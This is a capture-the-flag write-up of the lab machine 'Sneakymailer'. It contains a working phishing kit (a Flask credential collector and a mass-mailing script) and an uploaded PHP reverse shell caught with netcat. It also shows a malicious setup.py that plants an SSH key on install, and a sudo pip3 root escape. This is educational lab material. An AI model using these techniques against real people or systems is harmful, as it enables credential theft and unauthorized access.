Sneakymailer

TL;DR

  • Retrieve a list of emails on the website
  • Perform a phishing campaign to get Paul’s password
  • Find the credentials of the developer account in Paul’s mail
  • Upload a reverse shell to the dev subdomain through FTP to gain access to the machine
  • Create a malicious python package to write an SSH key in /home/low/.ssh/authorized_keys
  • Upload the malicious package on Pypi to write the SSH key
  • Exploit Pip3 with sudo to gain root access

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/sneakymailer$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN sneakymailer.txt 10.10.10.197
# Nmap 7.60 scan initiated Thu Jul 30 11:49:32 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN sneakymailer.txt sneakycorp.htb
Increasing send delay for 10.10.10.197 from 0 to 5 due to 114 out of 379 dropped probes since last increase.
Warning: 10.10.10.197 giving up on port because retransmission cap hit (10).
Increasing send delay for 10.10.10.197 from 640 to 1000 due to 138 out of 458 dropped probes since last increase.
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up, received echo-reply ttl 63 (0.13s latency).
rDNS record for 10.10.10.197: sneakymailer.htb
Scanned at 2020-07-30 11:49:32 CEST for 166s
Not shown: 35632 closed ports, 29896 filtered ports
Reason: 35632 resets and 29896 no-responses
PORT     STATE SERVICE  REASON         VERSION
21/tcp   open  ftp      syn-ack ttl 63 vsftpd 3.0.3
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6l2NxLZItm85sZuNKU/OzDEhlvYMmmrKpTD0+uxdQyySppZN3Lo6xOM2dC6pqG5DQjz+GPJl1/kbdla6qJXDZ1D5lnnCaImTqU++a1WceLck3/6/04B5RlTYUoLQFwRuy84CX8NDvs0mIyR7bpbd8W03+EAwTabOxXfukQG1MbgCY5V8QmLRdi/ZtsIqVxVZWOYI5rvuAQ+YM9D/Oa6mwAO5l2V3/h/A5nHDx2Vkl1++kfDqFNop2D2vssInvdwLKZ0M5RvXLQPlsqRLfqtcTBBLxYY6ZVcLHkvEA+gekHGcPRw0MV5U9vsx18+6O8wm9ZNI/a1Y4TyXIHMcbHi9
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOHL62JJEI1N8SHtcSypj9IjyD3dm6CA5iyog1Rmi4P5N6VtA/5RxBxegMYv7bTFymmFm02+w9zXdKMUcSs5TbE=
|   256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILZ/TeP6ZPj9zbHyFVfwZg48EElGqKCENQgPw+QCoC7x
25/tcp   open  smtp     syn-ack ttl 63 Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp   open  http     syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     syn-ack ttl 63 Courier Imapd (released 2018)
|_imap-capabilities: QUOTA CAPABILITY IDLE STARTTLS completed UIDPLUS ACL2=UNION CHILDREN SORT NAMESPACE ACL ENABLE IMAP4rev1 OK THREAD=REFERENCES UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Automatically-generated IMAP SSL key
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Automatically-generated IMAP SSL key
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
| SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
| -----BEGIN CERTIFICATE-----
| MIIE6zCCA1OgAwIBAgIBATANBgkqhkiG9w0BAQsFADCBjjESMBAGA1UEAxMJbG9j
| YWxob3N0MS0wKwYDVQQLEyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNT
| TCBrZXkxHDAaBgNVBAoTE0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5l
| dyBZb3JrMQswCQYDVQQIEwJOWTELMAkGA1UEBhMCVVMwHhcNMjAwNTE0MTcxNDIx
| WhcNMjEwNTE0MTcxNDIxWjCBjjESMBAGA1UEAxMJbG9jYWxob3N0MS0wKwYDVQQL
| EyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNTTCBrZXkxHDAaBgNVBAoT
| E0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5ldyBZb3JrMQswCQYDVQQI
| EwJOWTELMAkGA1UEBhMCVVMwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIB
| gQDCzBP4iuxxLmXPkmi5jABQrywLJK0meyW49umfYhqayBH7qtuIjyAmznnyDIR0
| 543qHgWAfSvGHLFDB9B1wnkvAU3aprjURn1956X/4jEi9xmhRwvum5T+vp3TT96d
| JgW9SSLiPFQty5eVrKuQvg1bZg/Vjp7CUUQ0+7PmdylMOipohls5RDEppCDGFmiS
| HN0ZayXpjd/kwqZ/O9uTJGHOzagY+ruTYAx3tanO4oDwdrz9FPr3S2KNPTjjtzqf
| CPdcsi+6JTQJI03eMEftBKo3HZTp7Hx6FObZcvcNskTLqtsYZYuzHS7KQwiuTAJ5
| d/ZKowCeJDaVlS35tQleisu+pJCkwcStpM1BJ51UQRZ5IpvItTfnrChEa1uyTlAy
| ZIOQK2/+34K2ZrldYWyfKlYHxieGZgzQXLo/vyW/1gqzXy7KHx+Uuf4CAzzOP1p3
| 8QNmvsqkJrQMuH3XPXLswr9A1gPe7KTLEGNRJSxcGF1Q25m4e04HhZzK76KlBfVt
| IJ0CAwEAAaNSMFAwDAYDVR0TAQH/BAIwADAhBgNVHREEGjAYgRZwb3N0bWFzdGVy
| QGV4YW1wbGUuY29tMB0GA1UdDgQWBBTylxdM/AHlToKxNvmnPdXJCjjbnDANBgkq
| hkiG9w0BAQsFAAOCAYEAAo7NqfYlXSEC8q3JXvI5EeVpkgBDOwnjxuC/P5ziEU0c
| PRx6L3w+MxuYJdndC0hT9FexXzSgtps9Xm+TE81LgNvuipZ9bulF5pMmmO579U2Y
| suJJpORD4P+65ezkfWDbPbdKyHMeRvVCkZCH74z2rCu+OeQTGb6GLfaaB7v9dThR
| rfvHwM50hxNb4Zb4of7Eyw2OJGeeohoG4mFT4v7cu1WwimsDF/A7OCVOmvvFWeRA
| EjdEReekDJsBFpHa8uRjxZ+4Ch9YvbFlYtYi6VyXV1AFR1Mb91w+iIitc6ROzjJ2
| pVO69ePygQcjBRUTDX5reuBzaF5p9/6Ta9HP8NDI9+gdw6VGVTmYRJUbj7OeKSUq
| FWUmtZYC288ErDAZ7z+6VqJtZsPXIItZ8J6UZE3zBclGMcQ7peL9wEvJQ8oSaHHM
| AmgHIoMwKXSNEkHbBD24cf9KwVhcyJ4QCrSJBMAys98X6TzCwQI4Hy7XyifU3x/L
| XUFD0JSVQp4Rmcg5Uzuk
|_-----END CERTIFICATE-----
993/tcp  open  ssl/imap syn-ack ttl 63 Courier Imapd (released 2018)
|_imap-capabilities: QUOTA CAPABILITY IDLE completed UIDPLUS ACL2=UNION CHILDREN SORT NAMESPACE ACL IMAP4rev1 THREAD=ORDEREDSUBJECT OK THREAD=REFERENCES ENABLE UTF8=ACCEPTA0001 AUTH=PLAIN
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Automatically-generated IMAP SSL key
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Automatically-generated IMAP SSL key
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
| SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
| -----BEGIN CERTIFICATE-----
| MIIE6zCCA1OgAwIBAgIBATANBgkqhkiG9w0BAQsFADCBjjESMBAGA1UEAxMJbG9j
| YWxob3N0MS0wKwYDVQQLEyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNT
| TCBrZXkxHDAaBgNVBAoTE0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5l
| dyBZb3JrMQswCQYDVQQIEwJOWTELMAkGA1UEBhMCVVMwHhcNMjAwNTE0MTcxNDIx
| WhcNMjEwNTE0MTcxNDIxWjCBjjESMBAGA1UEAxMJbG9jYWxob3N0MS0wKwYDVQQL
| EyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNTTCBrZXkxHDAaBgNVBAoT
| E0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5ldyBZb3JrMQswCQYDVQQI
| EwJOWTELMAkGA1UEBhMCVVMwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIB
| gQDCzBP4iuxxLmXPkmi5jABQrywLJK0meyW49umfYhqayBH7qtuIjyAmznnyDIR0
| 543qHgWAfSvGHLFDB9B1wnkvAU3aprjURn1956X/4jEi9xmhRwvum5T+vp3TT96d
| JgW9SSLiPFQty5eVrKuQvg1bZg/Vjp7CUUQ0+7PmdylMOipohls5RDEppCDGFmiS
| HN0ZayXpjd/kwqZ/O9uTJGHOzagY+ruTYAx3tanO4oDwdrz9FPr3S2KNPTjjtzqf
| CPdcsi+6JTQJI03eMEftBKo3HZTp7Hx6FObZcvcNskTLqtsYZYuzHS7KQwiuTAJ5
| d/ZKowCeJDaVlS35tQleisu+pJCkwcStpM1BJ51UQRZ5IpvItTfnrChEa1uyTlAy
| ZIOQK2/+34K2ZrldYWyfKlYHxieGZgzQXLo/vyW/1gqzXy7KHx+Uuf4CAzzOP1p3
| 8QNmvsqkJrQMuH3XPXLswr9A1gPe7KTLEGNRJSxcGF1Q25m4e04HhZzK76KlBfVt
| IJ0CAwEAAaNSMFAwDAYDVR0TAQH/BAIwADAhBgNVHREEGjAYgRZwb3N0bWFzdGVy
| QGV4YW1wbGUuY29tMB0GA1UdDgQWBBTylxdM/AHlToKxNvmnPdXJCjjbnDANBgkq
| hkiG9w0BAQsFAAOCAYEAAo7NqfYlXSEC8q3JXvI5EeVpkgBDOwnjxuC/P5ziEU0c
| PRx6L3w+MxuYJdndC0hT9FexXzSgtps9Xm+TE81LgNvuipZ9bulF5pMmmO579U2Y
| suJJpORD4P+65ezkfWDbPbdKyHMeRvVCkZCH74z2rCu+OeQTGb6GLfaaB7v9dThR
| rfvHwM50hxNb4Zb4of7Eyw2OJGeeohoG4mFT4v7cu1WwimsDF/A7OCVOmvvFWeRA
| EjdEReekDJsBFpHa8uRjxZ+4Ch9YvbFlYtYi6VyXV1AFR1Mb91w+iIitc6ROzjJ2
| pVO69ePygQcjBRUTDX5reuBzaF5p9/6Ta9HP8NDI9+gdw6VGVTmYRJUbj7OeKSUq
| FWUmtZYC288ErDAZ7z+6VqJtZsPXIItZ8J6UZE3zBclGMcQ7peL9wEvJQ8oSaHHM
| AmgHIoMwKXSNEkHbBD24cf9KwVhcyJ4QCrSJBMAys98X6TzCwQI4Hy7XyifU3x/L
| XUFD0JSVQp4Rmcg5Uzuk
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 30 11:52:19 2020 -- 1 IP address (1 host up) scanned in 166.74 seconds

So we find 5 useful services:

  • FTP (21)
  • SSH (22)
  • SMTP (25)
  • IMAP (143, 993)
  • Nginx (80, 8080)

The website is a project dashboard.

Website

Phishing

We find the list of the employees in the company on the page team.php with their email address.

airisatou@sneakymailer.htb
angelicaramos@sneakymailer.htb
ashtoncox@sneakymailer.htb
bradleygreer@sneakymailer.htb
brendenwagner@sneakymailer.htb
briellewilliamson@sneakymailer.htb
brunonash@sneakymailer.htb
caesarvance@sneakymailer.htb
carastevens@sneakymailer.htb
cedrickelly@sneakymailer.htb
chardemarshall@sneakymailer.htb
colleenhurst@sneakymailer.htb
dairios@sneakymailer.htb
donnasnider@sneakymailer.htb
doriswilder@sneakymailer.htb
finncamacho@sneakymailer.htb
fionagreen@sneakymailer.htb
garrettwinters@sneakymailer.htb
gavincortez@sneakymailer.htb
gavinjoyce@sneakymailer.htb
glorialittle@sneakymailer.htb
haleykennedy@sneakymailer.htb
hermionebutler@sneakymailer.htb
herrodchandler@sneakymailer.htb
hopefuentes@sneakymailer.htb
howardhatfield@sneakymailer.htb
jacksonbradshaw@sneakymailer.htb
jenagaines@sneakymailer.htb
jenettecaldwell@sneakymailer.htb
jenniferacosta@sneakymailer.htb
jenniferchang@sneakymailer.htb
jonasalexander@sneakymailer.htb
laelgreer@sneakymailer.htb
martenamccray@sneakymailer.htb
michaelsilva@sneakymailer.htb
michellehouse@sneakymailer.htb
olivialiang@sneakymailer.htb
paulbyrd@sneakymailer.htb
prescottbartlett@sneakymailer.htb
quinnflynn@sneakymailer.htb
rhonadavidson@sneakymailer.htb
sakurayamamoto@sneakymailer.htb
sergebaldwin@sneakymailer.htb
shaddecker@sneakymailer.htb
shouitou@sneakymailer.htb
sonyafrost@sneakymailer.htb
sukiburks@sneakymailer.htb
sulcud@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
thorwalton@sneakymailer.htb
tigernixon@sneakymailer.htb
timothymooney@sneakymailer.htb
unitybutler@sneakymailer.htb
vivianharrell@sneakymailer.htb
yuriberry@sneakymailer.htb
zenaidafrank@sneakymailer.htb
zoritaserrano@sneakymailer.htb

We can try to harvest credentials with a phishing campaign. We’ll send an email to all these addresses and hope someone will give us his password.

First of all, let’s start by creating the web server that will receive and save the credentials.

#!/usr/bin/python3.6
# coding: utf-8
from flask import Flask, redirect, jsonify, request

app = Flask(__name__)

@app.route('/magnussen', methods=['POST', 'GET'])
def save():
    with open('phishing_result.txt', 'w') as target:
        if request.method == 'POST':
            target.write(str(request.form.to_dict()))
        elif request.method == 'GET':
            target.write(str(request.args.to_dict()))
    return 'Thank you!'

if __name__ == "__main__":
	app.run(host='0.0.0.0', port='8000', threaded=True)

It’s a simple HTTP server, it just writes POST and GET data to a file.

Let’s create a script to send an email to all the company’s employees asking for their password.

#!/usr/bin/python3.6
# coding: utf-8
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

if __name__ == '__main__':
    smtp_server = 'sneakycorp.htb'
    smtp_port = 25
    smtp_account = 'magnussen@sneakymailer.htb'

    smtp = smtplib.SMTP(host=smtp_server, port=smtp_port)

    with open('userlist.txt', 'r') as target:
        userlist = target.readlines()

    for user in userlist:
        mail = user.replace('\n', '')

        msg = MIMEMultipart()
        message = 'Would you like to give your password to Magnussen?\n Send it to http://10.10.14.231:8000/magnussen'
        msg['From'] = smtp_account
        msg['To'] = mail
        msg['Subject'] = 'Hungry for password'
        msg.attach(MIMEText(message, 'plain'))

        smtp.send_message(msg)

Let’s do some phishing!

magnussen@funcMyLife:~/sneakymailer$ ./webserver.py
 * Serving Flask app "webserver" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:8000/ (Press CTRL+C to quit)
10.10.10.197 - - [31/Jul/2020 12:06:14] "POST /magnussen HTTP/1.1" 200 -

Someone seems to have visited our web server, let’s check what we got!

magnussen@funcMyLife:~/sneakymailer$ cat phishing_result.txt {'firstName': 'Paul', 'lastName': 'Byrd', 'email': 'paulbyrd@sneakymailer.htb', 'password': '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht', 'rpassword': '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'}

Let’s connect to Paul’s mailbox and see if we can find interesting things. I’ve used Evolution to connect to the SMTP and IMAP server.

IMAP conf

SMTP conf

There’s two mails in Paul’s mailbox, one of them is particularly interesting:

IMAP conf

Paul requested a new password for the developer account with this password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

FTP

As we saw earlier, we have the FTP service, we cannot log in as anonymous but we can try with the developer account.

magnussen@funcMyLife:~/sneakymailer$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:magnussen): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 31 06:29 dev
226 Directory send OK.
ftp> dir dev
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.

Yeah, it worked! Unfortunately, there’s nothing really interesting in the folder. But we can try to upload a reverse shell to gain access to the machine.

I’ve used Pentestmonkey php reverse shell.

ftp> cd dev
250 Directory successfully changed.
ftp> put magnussen.php
local: magnussen.php remote: magnussen.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (109.1560 MB/s)

Ok, so it seems we’ve managed to upload our reverse shell, unfortunately it doesn’t seem to be on sneakycorp.htb.

As the folder name implies, it must be has been uploaded on a development environment. Let’s add dev.sneakycorp.htb to our /etc/hosts and see if we can gain access to the machine.

magnussen@funcMyLife:~/sneakymailer$ cat /etc/hosts
10.10.10.197	sneakymailer.htb
10.10.10.197  sneakycorp.htb
10.10.10.197  dev.sneakycorp.htb

Let’s call http://dev.sneakycorp.htb/magnussen.php and catch our reverse shell.

magnussen@funcMyLife:~/sneakymailer$ nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from sneakymailer.htb 49164 received!
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 06:50:44 up 23 min,  0 users,  load average: 0.04, 0.07, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Pypi

Nice, we have a shell!

Let’s see how we can retrieve the user.txt!

$ ls -alh /home
total 16K
drwxr-xr-x  4 root  root  4.0K May 14 17:10 .
drwxr-xr-x 18 root  root  4.0K May 14 05:30 ..
drwxr-xr-x  8 low   low   4.0K Jun  8 03:47 low
drwx------  5 vmail vmail 4.0K May 19 21:10 vmail
$ ls -alh /home/low
total 48K
drwxr-xr-x 8 low  low  4.0K Jun  8 03:47 .
drwxr-xr-x 4 root root 4.0K May 14 17:10 ..
lrwxrwxrwx 1 root root    9 May 19 21:09 .bash_history -> /dev/null
-rw-r--r-- 1 low  low   220 May 14 05:46 .bash_logout
-rw-r--r-- 1 low  low  3.5K May 14 05:46 .bashrc
drwxr-xr-x 3 low  low  4.0K May 16 03:34 .cache
drwx------ 3 low  low  4.0K May 14 13:21 .gnupg
drwxr-xr-x 3 low  low  4.0K May 16 03:37 .local
dr-x------ 2 low  low  4.0K May 16 03:30 .pip
-rw-r--r-- 1 low  low   807 May 14 05:46 .profile
drwxr-xr-x 2 low  low  4.0K Jun  8 03:47 .ssh
-rwxr-x--- 1 root low    33 Jul 31 06:28 user.txt
drwxr-xr-x 6 low  low  4.0K May 16 03:33 venv
$ ls -alh /var/www
total 24K
drwxr-xr-x  6 root root 4.0K May 14 18:25 .
drwxr-xr-x 12 root root 4.0K May 14 13:09 ..
drwxr-xr-x  3 root root 4.0K Jun 23 08:15 dev.sneakycorp.htb
drwxr-xr-x  2 root root 4.0K May 14 13:12 html
drwxr-xr-x  4 root root 4.0K May 15 14:29 pypi.sneakycorp.htb
drwxr-xr-x  8 root root 4.0K Jun 23 09:48 sneakycorp.htb
$ ls -alh /var/www/pypi.sneakycorp.htb
total 20K
drwxr-xr-x 4 root root     4.0K May 15 14:29 .
drwxr-xr-x 6 root root     4.0K May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4.0K Jul 31 06:48 packages
drwxr-xr-x 6 root pypi     4.0K May 14 18:25 venv
$ ls -alh /etc/nginx/sites-available
total 20K
drwxr-xr-x 2 root root 4.0K Jun 23 08:14 .
drwxr-xr-x 8 root root 4.0K May 14 13:12 ..
-rw-r--r-- 1 root root 2.4K Aug 13  2019 default
-rw-r--r-- 1 root root  315 May 14 19:08 pypi.sneakycorp.htb
-rw-r--r-- 1 root root  706 Jun 23 08:14 sneakycorp.htb
$ cat /etc/nginx/sites-available/pypi.sneakycorp.htb
server {
	listen 0.0.0.0:8080 default_server;
	listen [::]:8080 default_server;
	server_name _;
}


server {
	listen 0.0.0.0:8080;
	listen [::]:8080;

	server_name pypi.sneakycorp.htb;

	location / {
		proxy_pass http://127.0.0.1:5000;
		proxy_set_header Host $host;
		proxy_set_header X-Real-IP $remote_addr;
	}
}

Ok, so there’s an other subdomain called pypi.sneakycorp.htb. Let’s add it to our /etc/hosts.

magnussen@funcMyLife:~/sneakymailer$ cat /etc/hosts
10.10.10.197	sneakymailer.htb
10.10.10.197  sneakycorp.htb
10.10.10.197  dev.sneakycorp.htb
10.10.10.197  pypi.sneakycorp.htb

We can now visit this website at http://pypi.sneakycorp.htb:8080/

Pypi

There’s also a .htpasswd file with credential.

$ cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Let’s try to crack pypi’s password.

magnussen@funcMyLife:~/sneakymailer$ ./JohnTheRipper/run/john --wordlist=rockyou.txt htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:01:15 DONE (2020-07-30 15:59) 0.01322g/s 47272p/s 47272c/s 47272C/s soulfidelis..souderton0
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Pypi’s password is soufianeelhaoui, unfortunately we cannot login through SSH with this password.

Let’s see if we can do something with Pypi’s server.

Pypi (Python Package Index) is a repository of software for Python. You can host a Pypi server for your own package.

As Pypi allows us to manage and install python package, we can try to upload a malicious package that will add our ssh key in /home/low/.ssh/authorized_keys.

Here’s the article I’ve used to create my malicious package.

So let’s create a malicious package and upload it through FTP:

magnussen@funcMyLife:~/sneakymailer$ mkdir magnussen
magnussen@funcMyLife:~/sneakymailer/magnussen$ touch .pypirc README.md setup.cfg setup.py
magnussen@funcMyLife:~/sneakymailer/magnussen$ mkdir magnussen
magnussen@funcMyLife:~/sneakymailer/magnussen$ touch magnussen/__init__.py
magnussen@funcMyLife:~/sneakymailer/magnussen$ cat .pypirc
[distutils]
index-servers =
  pypi
  magnussen
[pypi]
username:
password:
[magnussen]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui
magnussen@funcMyLife:~/sneakymailer$ cat setup.cfg
[metadata]
description-file = README.md
magnussen@funcMyLife:~/sneakymailer$ cat setup.py
import setuptools

try:
    with open("/home/low/.ssh/authorized_keys", "a") as f:
        f.write("\nssh-rsa AAA... magnussen@funcMyLife")
    f.close()
except Exception as e:
    pass

setuptools.setup(
    name='magnussen',
    packages=setuptools.find_packages(),
    description='Magnussen was here.',
    version='0.1',
    url='',
    author='Magnussen',
    author_email='magnussen@magnussen.com',
    keywords=['pip','magnussen']
    )

README.md and magnussen/init.py are empty.

Now we have to compress our package and upload it:

magnussen@funcMyLife:~/sneakymailer/magnussen$ python setup.py sdist
magnussen@funcMyLife:~/sneakymailer$ zip -r magnussen.zip magnussen
magnussen@funcMyLife:~/sneakymailer$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:magnussen): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd dev
250 Directory successfully changed.
ftp> put magnussen.php
local: magnussen.php remote: magnussen.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.

Once uploaded, we switch user from www-data to developer and retrieve our package.

$ su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
$ mv /var/www/dev*/dev/magnussen.zip /tmp
$ cd /tmp
$ unzip magnussen.zip
$ cd magnussen

Now, we just have to upload our package on Pypi to put our ssh key in /home/low/.ssh/authorized_keys.

First of all we have to change the developer’s home directory as pypi will search .pypirc in the home directory of our user to upload our package.

$ export HOME=/tmp/magnussen
$ python3 setup.py sdist upload -r magnussen
$ cat /home/low/.ssh/authorized_keys
ssh-rsa AAA... magnussen@HAL

It worked! Let’s get that user.txt

magnussen@funcMyLife:~/sneakymailer$ ssh low@sneakycorp.htb
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ cat user.txt
a63b2a464e4caf048d99a8e662024b9c

I AM ROOT

Pip with sudo

Let’s see how we can get root!

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Nice! We can execute pip3 as root without password! Let’s get that root.txt!

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
Processing /tmp/tmp.RB5NPndwry
# id
uid=0(root) gid=0(root) groups=0(root)
# cd
# cat root.txt
67719851183d56d0a27222c98997c9b0

This was an incredible journey, I’ve struggled a lot on the foothold, but I’ve learned so much! This box was very different from the other boxes I’ve done, especially the phishing part, but it was so fun to do! Thank you so much Sulcud for this incredible box!